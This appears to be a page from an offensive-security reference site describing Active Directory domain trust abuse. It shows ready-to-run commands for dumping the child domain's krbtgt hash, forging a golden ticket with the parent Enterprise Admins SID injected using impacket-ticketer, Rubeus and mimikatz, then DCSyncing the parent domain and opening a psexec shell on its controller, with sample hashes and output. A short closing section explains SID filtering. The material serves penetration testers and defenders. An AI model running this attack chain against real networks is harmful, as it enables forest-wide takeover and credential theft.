Skip to content
HackIndex logo

HackIndex

Domain Trust Abuse

4 min read Jun 11, 2026

Domain trusts extend the attack surface beyond the compromised domain. A bidirectional transitive trust between a child and parent domain means full compromise of the child domain translates directly to full compromise of the parent and the entire forest. The technique abuses SID history to forge a ticket that includes the Enterprise Admins SID of the parent domain.

Requires the krbtgt hash of the child domain, the SID of both domains, and a bidirectional or parent-child trust. All available after DCSync on the child domain.

Enumerate trusts

Confirm the trust relationship and direction before attempting any cross-domain technique. A parent-child trust is always bidirectional and transitive.

┌──(kali㉿kali)-[~]
└─$ # BloodyAD — query trust objects
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(objectClass=trustedDomain)' --attr name trustDirection trustAttributes flatName
 
┌──(kali㉿kali)-[~]
└─$ # nxc
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M enum_trusts 
name: corp.local
trustDirection: 3
trustAttributes: 32
flatName: CORP

# trustDirection 3 = bidirectional
# trustAttributes 32 = intra-forest (parent-child)
PS C:\Users\Guest\Desktop> # PowerView
PS C:\Users\Guest\Desktop> Get-DomainTrust | Select-Object SourceName, TargetName, TrustDirection, TrustAttributes
PS C:\Users\Guest\Desktop> Get-ForestTrust | Select-Object SourceName, TargetName, TrustDirection
 
PS C:\Users\Guest\Desktop> # Built-in — no tools needed
PS C:\Users\Guest\Desktop> nltest /domain_trusts
PS C:\Users\Guest\Desktop> nltest /trusted_domains

trustDirection: 3 is bidirectional. trustAttributes: 32 indicates an intra-forest trust (parent-child) where escalation applies. trustAttributes: 8 indicates a transitive forest trust.

Collect required material from child domain

The child-to-parent escalation needs the child domain krbtgt hash and both domain SIDs.

┌──(kali㉿kali)-[~]
└─$ # Dump krbtgt hash from child domain DC
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $CHILD_DOMAIN/$USER:$PASSWORD@$CHILD_DC_IP -just-dc-user krbtgt
 
┌──(kali㉿kali)-[~]
└─$ # Get child domain SID
┌──(kali㉿kali)-[~]
└─$ nxc ldap $CHILD_DC_IP -u $USER -p $PASSWORD --get-sid
 
┌──(kali㉿kali)-[~]
└─$ # Get parent domain SID
┌──(kali㉿kali)-[~]
└─$ nxc ldap $PARENT_DC_IP -u $USER -p $PASSWORD --get-sid 
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7b5b518b1c33d1b22c3d0b70e76a6f90:::

Child domain SID:  S-1-5-21-1111111111-2222222222-3333333333
Parent domain SID: S-1-5-21-4444444444-5555555555-6666666666
mimikatz # # DCSync the child domain krbtgt
mimikatz # lsadump::dcsync /domain:$CHILD_DOMAIN /user:krbtgt
 
mimikatz # # Get domain SIDs
mimikatz # # PS> Get-DomainSID
mimikatz # # PS> Get-DomainSID -Domain $PARENT_DOMAIN 
Object  : krbtgt
Hash NTLM: 7b5b518b1c33d1b22c3d0b70e76a6f90

Forge inter-realm ticket with SID history injection

The attack forges a TGT for the child domain that includes the Enterprise Admins SID ($PARENT_DOMAIN_SID-519) in the PAC. When the parent DC sees this SID, it grants Enterprise Admin access across the forest.

┌──(kali㉿kali)-[~]
└─$ # Forge TGT with parent Enterprise Admins SID injected
┌──(kali㉿kali)-[~]
└─$ # -519 = Enterprise Admins RID
┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -nthash $CHILD_KRBTGT_NTHASH -domain-sid $CHILD_DOMAIN_SID -domain $CHILD_DOMAIN -extra-sid $PARENT_DOMAIN_SID-519 Administrator
 
┌──(kali㉿kali)-[~]
└─$ # With AES256 key (from secretsdump aes256_hmac field)
┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -aesKey $CHILD_KRBTGT_AES256 -domain-sid $CHILD_DOMAIN_SID -domain $CHILD_DOMAIN -extra-sid $PARENT_DOMAIN_SID-519 Administrator 
[*] Creating basic skeleton ticket and PAC Infos
[*] Signing/Encrypting final ticket
[*] Saving ticket in Administrator.ccache
PS C:\Users\Guest\Desktop> # Rubeus golden ticket with extra SID (Enterprise Admins)
PS C:\Users\Guest\Desktop> .\Rubeus.exe golden /user:Administrator /domain:$CHILD_DOMAIN /sid:$CHILD_DOMAIN_SID /rc4:$CHILD_KRBTGT_NTHASH /sids:$PARENT_DOMAIN_SID-519 /ptt
 
PS C:\Users\Guest\Desktop> # With AES256
PS C:\Users\Guest\Desktop> .\Rubeus.exe golden /user:Administrator /domain:$CHILD_DOMAIN /sid:$CHILD_DOMAIN_SID /aes256:$CHILD_KRBTGT_AES256 /sids:$PARENT_DOMAIN_SID-519 /ptt
┌──(kali㉿kali)-[~]
└─$ # Set the ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
 
┌──(kali㉿kali)-[~]
└─$ # DCSync the parent domain
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $PARENT_DOMAIN/Administrator@$PARENT_DC_HOSTNAME -k -no-pass -just-dc
 
┌──(kali㉿kali)-[~]
└─$ # Shell on parent DC
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $PARENT_DOMAIN/Administrator@$PARENT_DC_HOSTNAME -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Verify access
┌──(kali㉿kali)-[~]
└─$ nxc smb $PARENT_DC_IP -u Administrator -p '' --use-kcache
mimikatz # # Ticket already injected from /ptt — verify
mimikatz # # PS> klist
 
mimikatz # # DCSync parent domain
mimikatz # lsadump::dcsync /domain:$PARENT_DOMAIN /user:krbtgt
mimikatz # lsadump::dcsync /domain:$PARENT_DOMAIN /user:Administrator 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9a8b7c6d5e4f...

SID filtering

SID filtering blocks SID history injection across forest boundaries. It is enabled by default on external trusts between separate forests but is not enabled on intra-forest parent-child trusts. Microsoft considers intra-forest trusts to be within the same security boundary, so any child domain compromise is a full forest compromise by design.

On external forest trusts, SID filtering blocks the -extra-sid technique. In that scenario, direct credential reuse or Kerberoasting across the trust are the viable paths.

References